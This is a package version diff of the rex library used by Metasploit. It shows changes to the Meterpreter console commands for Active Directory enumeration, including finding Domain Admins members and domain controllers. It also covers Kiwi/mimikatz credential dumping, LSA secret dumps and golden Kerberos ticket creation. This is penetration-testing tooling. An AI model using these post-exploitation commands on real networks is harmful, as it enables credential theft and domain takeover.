rex 2.0.8 → 2.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -26,9 +26,12 @@ class Console::CommandDispatcher::Extapi::Adsi
26
26
  #
27
27
  def commands
28
28
  {
29
- "adsi_user_enum" => "Enumerate all users on the specified domain.",
30
- "adsi_computer_enum" => "Enumerate all computers on the specified domain.",
31
- "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter."
29
+ 'adsi_user_enum' => 'Enumerate all users on the specified domain.',
30
+ 'adsi_group_enum' => 'Enumerate all groups on the specified domain.',
31
+ 'adsi_nested_group_user_enum' => 'Recursively enumerate users who are effectively members of the group specified.',
32
+ 'adsi_computer_enum' => 'Enumerate all computers on the specified domain.',
33
+ 'adsi_dc_enum' => 'Enumerate all domain controllers on the specified domain.',
34
+ 'adsi_domain_query' => 'Enumerate all objects on the specified domain that match a filter.'
32
35
  }
33
36
  end
34
37
 
@@ -36,46 +39,127 @@ class Console::CommandDispatcher::Extapi::Adsi
36
39
  # Name for this dispatcher
37
40
  #
38
41
  def name
39
- "Extapi: ADSI Management"
42
+ 'Extapi: ADSI Management'
43
+ end
44
+
45
+ #
46
+ # Options for the adsi_nested_group_user_enum command.
47
+ #
48
+ @@adsi_nested_group_user_enum_opts = Rex::Parser::Arguments.new(
49
+ '-h' => [false, 'Help banner'],
50
+ '-o' => [true, 'Path to output file.'],
51
+ '-m' => [true, 'Maximum results to return.'],
52
+ '-p' => [true, 'Result set page size.']
53
+ )
54
+
55
+ def adsi_nested_group_user_enum_usage
56
+ print_line('USAGE:')
57
+ print_line(' adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize] [-o file]')
58
+ print_line
59
+ print_line('DESCRIPTION:')
60
+ print_line(' Enumerate the users who are members of the named group, taking nested groups into account.')
61
+ print_line(' For example, specifying the "Domain Admins" group DN will list all users who are effectively')
62
+ print_line(' members of the Domain Admins group, even if they are in practice members of intermediary groups.')
63
+ print_line
64
+ print_line('EXAMPLE:')
65
+ print_line(' The example below will list all members of the "Domain Admins" group on the STUFUS domain:')
66
+ print_line(' adsi_nested_group_user_enum STUFUS "CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com"')
67
+ print_line(@@adsi_nested_group_user_enum_opts.usage)
68
+ end
69
+
70
+ #
71
+ # Enumerate domain groups.
72
+ #
73
+ def cmd_adsi_nested_group_user_enum(*args)
74
+ args.unshift('-h') if args.length == 0
75
+ if args.include?('-h') || args.length < 2
76
+ adsi_nested_group_user_enum_usage
77
+ return true
78
+ end
79
+
80
+ domain = args.shift
81
+ groupdn = args.shift
82
+ # This OID (canonical name = LDAP_MATCHING_RULE_IN_CHAIN) will recursively search each 'memberof' parent
83
+ # https://support.microsoft.com/en-us/kb/275523 for more information -stufus
84
+ filter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=#{groupdn}))"
85
+ fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
86
+ args = [domain, filter] + fields + args
87
+ return cmd_adsi_domain_query(*args)
40
88
  end
41
89
 
42
90
  #
43
91
  # Options for the adsi_user_enum command.
44
92
  #
45
93
  @@adsi_user_enum_opts = Rex::Parser::Arguments.new(
46
- "-h" => [ false, "Help banner" ],
47
- "-m" => [ true, "Maximum results to return." ],
48
- "-p" => [ true, "Result set page size." ]
94
+ '-h' => [false, 'Help banner.'],
95
+ '-o' => [true, 'Path to output file.'],
96
+ '-m' => [true, 'Maximum results to return.'],
97
+ '-p' => [true, 'Result set page size.']
49
98
  )
50
99
 
51
100
  def adsi_user_enum_usage
52
- print(
53
- "\nUsage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
54
- "Enumerate the users on the target domain.\n\n" +
55
- "Enumeration returns information such as the user name, SAM account name, locked\n" +
56
- "status, desc, and comment.\n" +
57
- @@adsi_user_enum_opts.usage)
101
+ print_line('USAGE:')
102
+ print_line(' adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
103
+ print_line
104
+ print_line('DESCRIPTION:')
105
+ print_line(' Enumerate all users on the target domain.')
106
+ print_line(' Enumeration returns information such as the user name, SAM account name, status, comments etc')
107
+ print_line(@@adsi_user_enum_opts.usage)
58
108
  end
59
109
 
60
110
  #
61
111
  # Enumerate domain users.
62
112
  #
63
113
  def cmd_adsi_user_enum(*args)
64
- args.unshift("-h") if args.length == 0
65
- if args.include?("-h")
114
+ args.unshift('-h') if args.length == 0
115
+ if args.include?('-h')
66
116
  adsi_user_enum_usage
67
117
  return true
68
118
  end
69
119
 
70
120
  domain = args.shift
71
- filter = "(objectClass=user)"
72
- fields = [
73
- "samaccountname",
74
- "name",
75
- "distinguishedname",
76
- "description",
77
- "comment"
78
- ]
121
+ filter = '(objectClass=user)'
122
+ fields = ['samaccountname', 'name', 'distinguishedname', 'description', 'comment']
123
+ args = [domain, filter] + fields + args
124
+ return cmd_adsi_domain_query(*args)
125
+ end
126
+
127
+ #
128
+ # Options for the adsi_group_enum command.
129
+ #
130
+ @@adsi_group_enum_opts = Rex::Parser::Arguments.new(
131
+ '-h' => [false, 'Help banner.'],
132
+ '-o' => [true, 'Path to output file.'],
133
+ '-m' => [true, 'Maximum results to return.'],
134
+ '-p' => [true, 'Result set page size.']
135
+ )
136
+
137
+ def adsi_group_enum_usage
138
+ print_line('USAGE:')
139
+ print_line(' adsi_nested_group_user_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
140
+ print_line
141
+ print_line('DESCRIPTION:')
142
+ print_line(' Enumerate all groups on the target domain.')
143
+ print_line
144
+ print_line('EXAMPLE:')
145
+ print_line(' The example below will list all groups on the STUFUS domain.')
146
+ print_line(' adsi_group_enum STUFUS')
147
+ print_line(@@adsi_group_enum_opts.usage)
148
+ end
149
+
150
+ #
151
+ # Enumerate domain groups.
152
+ #
153
+ def cmd_adsi_group_enum(*args)
154
+ args.unshift('-h') if args.length == 0
155
+ if args.include?('-h')
156
+ adsi_group_enum_usage
157
+ return true
158
+ end
159
+
160
+ domain = args.shift
161
+ filter = '(objectClass=group)'
162
+ fields = ['name', 'distinguishedname', 'description',]
79
163
  args = [domain, filter] + fields + args
80
164
  return cmd_adsi_domain_query(*args)
81
165
  end
@@ -84,37 +168,74 @@ class Console::CommandDispatcher::Extapi::Adsi
84
168
  # Options for the adsi_computer_enum command.
85
169
  #
86
170
  @@adsi_computer_enum_opts = Rex::Parser::Arguments.new(
87
- "-h" => [ false, "Help banner" ],
88
- "-m" => [ true, "Maximum results to return." ],
89
- "-p" => [ true, "Result set page size." ]
171
+ '-h' => [false, 'Help banner.'],
172
+ '-o' => [true, 'Path to output file.'],
173
+ '-m' => [true, 'Maximum results to return.'],
174
+ '-p' => [true, 'Result set page size.']
90
175
  )
91
176
 
92
177
  def adsi_computer_enum_usage
93
- print(
94
- "\nUsage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
95
- "Enumerate the computers on the target domain.\n\n" +
96
- "Enumeration returns information such as the computer name, desc, and comment.\n" +
97
- @@adsi_computer_enum_opts.usage)
178
+ print_line('USAGE:')
179
+ print_line(' adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
180
+ print_line
181
+ print_line('DESCRIPTION:')
182
+ print_line(' Enumerate all computers on the target domain.')
183
+ print_line(@@adsi_computer_enum_opts.usage)
98
184
  end
99
185
 
100
186
  #
101
187
  # Enumerate domain computers.
102
188
  #
103
189
  def cmd_adsi_computer_enum(*args)
104
- args.unshift("-h") if args.length == 0
105
- if args.include?("-h")
190
+ args.unshift('-h') if args.length == 0
191
+ if args.include?('-h')
106
192
  adsi_computer_enum_usage
107
193
  return true
108
194
  end
109
195
 
110
196
  domain = args.shift
111
- filter = "(objectClass=computer)"
112
- fields = [
113
- "name",
114
- "distinguishedname",
115
- "description",
116
- "comment"
117
- ]
197
+ filter = '(objectClass=computer)'
198
+ fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
199
+ 'operatingsystemversion', 'operatingsystemservicepack', 'description',
200
+ 'comment' ]
201
+ args = [domain, filter] + fields + args
202
+ return cmd_adsi_domain_query(*args)
203
+ end
204
+
205
+ #
206
+ # Options for the adsi_dc_enum command.
207
+ #
208
+ @@adsi_dc_enum_opts = Rex::Parser::Arguments.new(
209
+ '-h' => [false, 'Help banner.'],
210
+ '-o' => [true, 'Path to output file.'],
211
+ '-m' => [true, 'Maximum results to return.'],
212
+ '-p' => [true, 'Result set page size.']
213
+ )
214
+
215
+ def adsi_dc_enum_usage
216
+ print_line('USAGE:')
217
+ print_line(' adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize] [-o file]')
218
+ print_line
219
+ print_line('DESCRIPTION:')
220
+ print_line(' Enumerate the domain controllers on the target domain.')
221
+ print_line(@@adsi_dc_enum_opts.usage)
222
+ end
223
+
224
+ #
225
+ # Enumerate domain dcs.
226
+ #
227
+ def cmd_adsi_dc_enum(*args)
228
+ args.unshift('-h') if args.length == 0
229
+ if args.include?('-h')
230
+ adsi_dc_enum_usage
231
+ return true
232
+ end
233
+
234
+ domain = args.shift
235
+ # This LDAP filter will pull out domain controllers
236
+ filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
237
+ fields = ['name', 'dnshostname', 'distinguishedname', 'operatingsystem',
238
+ 'operatingsystemversion', 'operatingsystemservicepack', 'description', 'comment' ]
118
239
  args = [domain, filter] + fields + args
119
240
  return cmd_adsi_domain_query(*args)
120
241
  end
@@ -123,17 +244,19 @@ class Console::CommandDispatcher::Extapi::Adsi
123
244
  # Options for the adsi_domain_query command.
124
245
  #
125
246
  @@adsi_domain_query_opts = Rex::Parser::Arguments.new(
126
- "-h" => [ false, "Help banner" ],
127
- "-m" => [ true, "Maximum results to return." ],
128
- "-p" => [ true, "Result set page size." ]
247
+ '-h' => [false, 'Help banner.'],
248
+ '-o' => [true, 'Path to output file.'],
249
+ '-m' => [true, 'Maximum results to return.'],
250
+ '-p' => [true, 'Result set page size.']
129
251
  )
130
252
 
131
253
  def adsi_domain_query_usage
132
- print(
133
- "\nUsage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" +
134
- "Enumerate the objects on the target domain.\n\n" +
135
- "Enumeration returns the set of fields that are specified.\n" +
136
- @@adsi_domain_query_opts.usage)
254
+ print_line('USAGE:')
255
+ print_line(' adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize] [-o file]')
256
+ print_line
257
+ print_line('DESCRIPTION:')
258
+ print_line(' Enumerates the objects on the target domain, returning the set of fields that are specified.')
259
+ print_line(@@adsi_domain_query_opts.usage)
137
260
  end
138
261
 
139
262
  #
@@ -143,22 +266,25 @@ class Console::CommandDispatcher::Extapi::Adsi
143
266
  page_size = DEFAULT_PAGE_SIZE
144
267
  max_results = DEFAULT_MAX_RESULTS
145
268
 
146
- args.unshift("-h") if args.length < 3
269
+ args.unshift('-h') if args.length < 3
270
+ output_file = nil
147
271
 
148
272
  @@adsi_domain_query_opts.parse(args) { |opt, idx, val|
149
273
  case opt
150
- when "-p"
274
+ when '-p'
151
275
  page_size = val.to_i
152
- when "-m"
276
+ when '-o'
277
+ output_file = val
278
+ when '-m'
153
279
  max_results = val.to_i
154
- when "-h"
280
+ when '-h'
155
281
  adsi_domain_query_usage
156
282
  return true
157
283
  end
158
284
  }
159
285
 
160
286
  # Assume that the flags are passed in at the end. Safe?
161
- switch_index = args.index { |a| a.start_with?("-") }
287
+ switch_index = args.index { |a| a.start_with?('-') }
162
288
  if switch_index
163
289
  args = args.first(switch_index)
164
290
  end
@@ -181,11 +307,16 @@ class Console::CommandDispatcher::Extapi::Adsi
181
307
 
182
308
  print_line
183
309
  print_line(table.to_s)
184
-
185
310
  print_line("Total objects: #{objects[:results].length}")
186
-
187
311
  print_line
188
312
 
313
+ if output_file
314
+ ::File.open(output_file, 'w') do |f|
315
+ f.write("#{table.to_s}\n")
316
+ f.write("\nTotal objects: #{objects[:results].length}\n")
317
+ end
318
+ end
319
+
189
320
  return true
190
321
  end
191
322
 
@@ -210,7 +341,7 @@ protected
210
341
  # for UI level stuff, rendering raw as hex is really the only option
211
342
  values << Rex::Text.to_hex(v[:value], '')
212
343
  when :array
213
- val = "#{to_table_row(v[:value]).join(", ")}"
344
+ val = "#{to_table_row(v[:value]).join(', ')}"
214
345
 
215
346
  # we'll truncate the output of the array because it could be excessive if we
216
347
  # don't. Users who want the detail of this stuff should probably script it.
@@ -224,7 +355,7 @@ protected
224
355
  when :path
225
356
  values << "Vol: #{v[:volume]}, Path: #{v[:path]}, Type: #{v[:vol_type]}"
226
357
  when :unknown
227
- values << "(unknown)"
358
+ values << '(unknown)'
228
359
  end
229
360
  end
230
361
 
@@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi
26
26
  # Name for this dispatcher
27
27
  #
28
28
  def name
29
- "Kiwi"
29
+ 'Kiwi'
30
30
  end
31
31
 
32
32
  #
@@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi
46
46
  print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
47
47
  print_line
48
48
 
49
- if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
50
-
49
+ if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/
51
50
  print_line
52
- print_warning "Loaded x86 Kiwi on an x64 architecture."
51
+ print_warning('Loaded x86 Kiwi on an x64 architecture.')
53
52
  end
54
53
  end
55
54
 
@@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi
58
57
  #
59
58
  def commands
60
59
  {
61
- "creds_wdigest" => "Retrieve WDigest creds",
62
- "creds_msv" => "Retrieve LM/NTLM creds (hashes)",
63
- "creds_livessp" => "Retrieve LiveSSP creds",
64
- "creds_ssp" => "Retrieve SSP creds",
65
- "creds_tspkg" => "Retrieve TsPkg creds",
66
- "creds_kerberos" => "Retrieve Kerberos creds",
67
- "creds_all" => "Retrieve all credentials",
68
- "golden_ticket_create" => "Create a golden kerberos ticket",
69
- "kerberos_ticket_use" => "Use a kerberos ticket",
70
- "kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
71
- "kerberos_ticket_list" => "List all kerberos tickets",
72
- "lsa_dump" => "Dump LSA secrets",
73
- "wifi_list" => "List wifi profiles/creds"
60
+ 'creds_wdigest' => 'Retrieve WDigest creds',
61
+ 'creds_msv' => 'Retrieve LM/NTLM creds (hashes)',
62
+ 'creds_livessp' => 'Retrieve LiveSSP creds',
63
+ 'creds_ssp' => 'Retrieve SSP creds',
64
+ 'creds_tspkg' => 'Retrieve TsPkg creds',
65
+ 'creds_kerberos' => 'Retrieve Kerberos creds',
66
+ 'creds_all' => 'Retrieve all credentials',
67
+ 'golden_ticket_create' => 'Create a golden kerberos ticket',
68
+ 'kerberos_ticket_use' => 'Use a kerberos ticket',
69
+ 'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
70
+ 'kerberos_ticket_list' => 'List all kerberos tickets',
71
+ 'lsa_dump' => 'Dump LSA secrets',
72
+ 'wifi_list' => 'List wifi profiles/creds'
74
73
  }
75
74
  end
76
75
 
@@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi
80
79
  def cmd_lsa_dump(*args)
81
80
  check_privs
82
81
 
83
- print_status("Dumping LSA secrets")
82
+ print_status('Dumping LSA secrets')
84
83
  lsa = client.kiwi.lsa_dump
85
84
 
86
85
  # the format of this data doesn't really lend itself nicely to
@@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi
142
141
  # Valid options for the golden ticket creation functionality.
143
142
  #
144
143
  @@golden_ticket_create_opts = Rex::Parser::Arguments.new(
145
- "-h" => [ false, "Help banner" ],
146
- "-u" => [ true, "Name of the user to create the ticket for" ],
147
- "-i" => [ true, "ID of the user to associate the ticket with" ],
148
- "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ],
149
- "-d" => [ true, "Name of the target domain (FQDN)" ],
150
- "-k" => [ true, "krbtgt domain user NTLM hash" ],
151
- "-t" => [ true, "Local path of the file to store the ticket in" ],
152
- "-s" => [ true, "SID of the domain" ]
144
+ '-h' => [ false, 'Help banner' ],
145
+ '-u' => [ true, 'Name of the user to create the ticket for' ],
146
+ '-i' => [ true, 'ID of the user to associate the ticket with' ],
147
+ '-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
148
+ '-d' => [ true, 'Name of the target domain (FQDN)' ],
149
+ '-k' => [ true, 'krbtgt domain user NTLM hash' ],
150
+ '-t' => [ true, 'Local path of the file to store the ticket in' ],
151
+ '-s' => [ true, 'SID of the domain' ]
153
152
  )
154
153
 
155
154
  #
156
155
  # Output the usage for the ticket listing functionality.
157
156
  #
158
157
  def golden_ticket_create_usage
159
- print(
160
- "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
161
- "Create a golden kerberos ticket that expires in 10 years time.\n\n" +
162
- @@golden_ticket_create_opts.usage)
158
+ print_line('Usage: golden_ticket_create [options]')
159
+ print_line
160
+ print_line('Create a golden kerberos ticket that expires in 10 years time.')
161
+ print_line(@@golden_ticket_create_opts.usage)
163
162
  end
164
163
 
165
164
  #
@@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi
181
180
 
182
181
  @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
183
182
  case opt
184
- when "-u"
183
+ when '-u'
185
184
  user = val
186
- when "-d"
185
+ when '-d'
187
186
  domain = val
188
- when "-k"
187
+ when '-k'
189
188
  tgt = val
190
- when "-t"
189
+ when '-t'
191
190
  target = val
192
- when "-i"
191
+ when '-i'
193
192
  id = val.to_i
194
- when "-g"
193
+ when '-g'
195
194
  group_ids = val.split(',').map { |g| g.to_i }.to_a
196
- when "-s"
195
+ when '-s'
197
196
  sid = val
198
197
  end
199
198
  }
@@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi
207
206
  ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
208
207
 
209
208
  ::File.open( target, 'wb' ) do |f|
210
- f.write ticket
209
+ f.write(ticket)
211
210
  end
212
211
 
213
212
  print_good("Golden Kerberos ticket written to #{target}")
@@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi
217
216
  # Valid options for the ticket listing functionality.
218
217
  #
219
218
  @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
220
- "-h" => [ false, "Help banner" ],
221
- "-e" => [ false, "Export Kerberos tickets to disk" ],
222
- "-p" => [ true, "Path to export Kerberos tickets to" ]
219
+ '-h' => [ false, 'Help banner' ],
220
+ '-e' => [ false, 'Export Kerberos tickets to disk' ],
221
+ '-p' => [ true, 'Path to export Kerberos tickets to' ]
223
222
  )
224
223
 
225
224
  #
226
225
  # Output the usage for the ticket listing functionality.
227
226
  #
228
227
  def kerberos_ticket_list_usage
229
- print(
230
- "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
231
- "List all the available Kerberos tickets.\n\n" +
232
- @@kerberos_ticket_list_opts.usage)
228
+ print_line('Usage: kerberos_ticket_list [options]')
229
+ print_line
230
+ print_line('List all the available Kerberos tickets.')
231
+ print_line(@@kerberos_ticket_list_opts.usage)
233
232
  end
234
233
 
235
234
  #
236
235
  # Invoke the kerberos ticket listing functionality on the target machine.
237
236
  #
238
237
  def cmd_kerberos_ticket_list(*args)
239
- if args.include?("-h")
238
+ if args.include?('-h')
240
239
  kerberos_ticket_list_usage
241
240
  return
242
241
  end
@@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi
244
243
  # default to not exporting
245
244
  export = false
246
245
  # default to the current folder for dumping tickets
247
- export_path = "."
246
+ export_path = '.'
248
247
 
249
248
